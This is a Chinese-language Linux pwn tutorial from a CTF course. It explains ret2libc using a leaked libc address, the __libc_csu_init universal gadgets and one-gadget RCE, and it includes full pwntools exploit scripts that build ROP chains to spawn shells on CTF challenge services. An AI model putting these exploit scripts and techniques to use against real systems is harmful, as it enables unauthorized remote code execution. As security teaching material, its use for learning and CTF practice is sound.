Linux Pwn入門教程系列分享如約而至,本套課程是作者依據i春秋Pwn入門課程中的技術分類,並結合近幾年賽事中出現的題目和文章整理出一份相對完整的Linux Pwn教程。
教程僅針對i386/amd64下的Linux Pwn常見的Pwn手法,如棧,堆,整數溢出,格式化字符串,條件競爭等進行介紹,所有環境都會封裝在Docker鏡像當中,並提供調試用的教學程序,來自歷年賽事的原題和帶有注釋的python腳本。
課程回顧>>
教程中的題目和腳本若有使用不妥之處,歡迎各位大佬批評指正。
從給定的libc中尋找gadget
有時候pwn題目也會提供一個pwn環境里對應版本的libc。在這種情況下,我們就可以通過泄露出某個在libc中的內容在內存中的實際地址,通過計算偏移來獲取system和“/bin/sh”的地址並調用。
這一節的例子是~/Security Fest CTF 2016-tvstation/tvstation。這是一個比較簡單的題目,題目中除了顯示出來的三個選項之外還有一個隱藏的選項4,選項4會直接打印出system函數在內存中的首地址:
從IDA中我們可以看到打印完地址后執行了函數debug_func( ),進入函數debug_func( )之后我們發現了溢出點。
由於這個題目給了libc,且我們已經泄露出了system的內存地址。使用命令readelf -a 查看libc.so.6_x64。
從這張圖上我們可以看出來.text節(Section)屬於第一個LOAD段(Segment),這個段的文件長度和內存長度是一樣的,也就是說所有的代碼都是原樣映射到內存中,代碼之間的相對偏移是不會改變的。
由於前面的PHDR, INTERP兩個段也是原樣映射,所以在IDA里看到的system首地址距離文件頭的地址偏移和運行時的偏移是一樣的。如:在這個libc中system函數首地址是0x456a0,即從文件的開頭數0x456a0個字節到達system函數。
調試程序,發現system在內存中的地址是0x7fb5c8c266a0。
0x7fb5c8c266a0 -0x456a0 =0x7fb5c8be1000
根據這個事實,我們就可以通過泄露出來的libc中的函數地址獲取libc在內存中加載的首地址,從而以此跳轉到其他函數的首地址並執行。
在libc中存在字符串“/bin/sh”,該字符串位於.data節,根據同樣的原理我們也可以得知這個字符串距libc首地址的偏移。
還有用來傳參的gadget :pop rdi; ret
據此我們可以構建腳本如下:
#!/usr/bin/python
#coding:utf-8
from pwn import *
io = remote('172.17.0.2', 10001)
io.recvuntil(": ")
io.sendline('4') #跳轉到隱藏選項
io.recvuntil("@0x")
system_addr = int(io.recv(12), 16) #讀取輸出的system函數在內存中的地址
libc_start = system_addr - 0x456a0 #根據偏移計算libc在內存中的首地址
pop_rdi_addr = libc_start + 0x1fd7a #pop rdi; ret 在內存中的地址,給system函數傳參
binsh_addr = libc_start + 0x18ac40 #"/bin/sh"字符串在內存中的地址
payload = ""
payload += 'A'*40 #padding
payload += p64(pop_rdi_addr) #pop rdi; ret
payload += p64(binsh_addr) #system函數參數
payload += p64(system_addr) #調用system()執行system("/bin/sh")
io.sendline(payload)
io.interactive()
一些特殊的gadgets
這一節主要介紹兩個特殊的gadgets。第一個gadget經常被稱作通用gadgets,通常位於x64的ELF程序中的__libc_csu_init中,如下圖所示:
這張圖片里包含了兩個gadget,分別是:
我們知道在x64的ELF程序中向函數傳參,通常順序是rdi, rsi, rdx, rcx, r8, r9, 棧,以上三段gadgets中,第一段可以設置r12-r15,接上第三段使用已經設置的寄存器設置rdi, 接上第二段設置rsi, rdx, rbx,最后利用r12+rbx*8可以call任意一個地址。
在找gadgets出現困難時,可以利用這個gadgets快速構造ROP鏈。需要注意的是,用萬能gadgets的時候需要設置rbp=1,因為call qword ptr [r12+rbx*8]之后是add rbx, 1; cmp rbx, rbp; jnz xxxxxx。由於我們通常使rbx=0,從而使r12+rbx*8 = r12,所以call指令結束后rbx必然會變成1。若此時rbp != 1,jnz會再次進行call,從而可能引起段錯誤。那么這段gadgets怎么用呢?
我們來看一下例子~/LCTF 2016-pwn100/pwn100,這個例子提供了libc,溢出點很明顯,位於0x40063d。
我們需要做的就是泄露一個got表中函數的地址,然后計算偏移調用system。前面的代碼很簡單,我們就不做介紹了。
#!/usr/bin/python
#coding:utf-8
from pwn import *
io = remote("172.17.0.3", 10001)
elf = ELF("./pwn100")
puts_addr = elf.plt['puts']
read_got = elf.got['read']
start_addr = 0x400550
pop_rdi = 0x400763
universal_gadget1 = 0x40075a #萬能gadget1:pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
universal_gadget2 = 0x400740 #萬能gadget2:mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]
binsh_addr = 0x60107c #bss放了STDIN和STDOUT的FILE結構體,修改會導致程序崩潰
payload = "A"*72 #padding
payload += p64(pop_rdi) #
payload += p64(read_got)
payload += p64(puts_addr)
payload += p64(start_addr) #跳轉到start,恢復棧
payload = payload.ljust(200, "B") #padding
io.send(payload)
io.recvuntil('bye~\n')
read_addr = u64(io.recv()[:-1].ljust(8, '\x00'))
log.info("read_addr = %#x", read_addr)
system_addr = read_addr - 0xb31e0
log.info("system_addr = %#x", system_addr)
為了演示萬能gadgets的使用,我們選擇再次通過調用read函數讀取/bin/sh\x00字符串,而不是直接使用偏移,首先我們根據萬能gadgets布置好棧。
payload = "A"*72 #padding
payload += p64(universal_gadget1) #萬能gadget1
payload += p64(0) #rbx = 0
payload += p64(1) #rbp = 1,過掉后面萬能gadget2的call返回后的判斷
payload += p64(read_got) #r12 = got表中read函數項,里面是read函數的真正地址,直接通過call調用
payload += p64(8) #r13 = 8,read函數讀取的字節數,萬能gadget2賦值給rdx
payload += p64(binsh_addr) #r14 = read函數讀取/bin/sh保存的地址,萬能gadget2賦值給rsi
payload += p64(0) #r15 = 0,read函數的參數fd,即STDIN,萬能gadget2賦值給edi
payload += p64(universal_gadget2) #萬能gadget2
我們是不是應該直接在payload后面接上返回地址呢?不,我們回頭看一下universal_gadget2的執行流程:
由於我們的構造,上面的那塊代碼只會執行一次,然后流程就將跳轉到下面的loc_400756,這一系列操作將會抬升8*7共56字節的棧空間,因此我們還需要提供56個字節的垃圾數據進行填充,然后再拼接上retn要跳轉的地址。
payload += '\x00'*56 #萬能gadget2后接判斷語句,過掉之后是萬能gadget1,用於填充棧
payload += p64(start_addr) #跳轉到start,恢復棧
payload = payload.ljust(200, "B") #padding
接下來就是常規操作getshell
io.send(payload)
io.recvuntil('bye~\n')
io.send("/bin/sh\x00") #上面的一段payload調用了read函數讀取"/bin/sh\x00",這里發送字符串
payload = "A"*72 #padding
payload += p64(pop_rdi) #給system函數傳參
payload += p64(binsh_addr) #rdi = &("/bin/sh\x00")
payload += p64(system_addr) #調用system函數執行system("/bin/sh")
payload = payload.ljust(200, "B") #padding
io.send(payload)
io.interactive()
我們介紹的第二個gadget通常被稱為one gadget RCE,顧名思義,通過一個gadget遠程執行代碼,即getshell。我們通過例子~/TJCTF 2016-oneshot/oneshot演示一下這個gadget的威力。
要利用這個gadget,我們需要一個對應環境的libc和一個工具one_gadget。
從紅框中的代碼我們看到地址rbp+var_8被作為__isoc99_scanf的第二個參數賦值給rsi,即輸入被保存在這里。隨后rbp+var_8中的內容被賦值給rax,又被賦值給rdx,最后通過call rdx執行。也就是說我們輸入一個數字,這個數字會被當成地址使用call調用。由於只能控制4字節,我們就需要用到one gadget RCE來一步getshell。我們通過one_gadget找到一些gadget:
我們看到這些gadget有約束條件。我們選擇第一條,要求rax=0。我們構建腳本進行調試:
#!/usr/bin/python
#coding:utf-8
from pwn import *
one_gadget_rce = 0x45526
#one_gadget libc.so.6_x64
#0x45526 execve("/bin/sh", rsp+0x30, environ)
#constraints:
# rax == NULL
setbuf_addr = 0x77f50
setbuf_got = 0x600ae0
io = remote("172.17.0.2", 10001)
io.sendline(str(setbuf_got))
io.recvuntil("Value: ")
setbuf_memory_addr = int(io.recv()[:18], 16) #通過打印got表中setbuf項的內容泄露setbuf在內存中的首地址
io.sendline(str(setbuf_memory_addr - (setbuf_addr - one_gadget_rce))) #通過偏移計算one_gadget_rce在內存中的地址
io.interactive()
執行到call rdx時rax = 0
getshell成功
以上是今天的內容,大家看懂了嗎?后面我們將持續更新Linux Pwn入門教程的相關章節,希望大家及時關注。
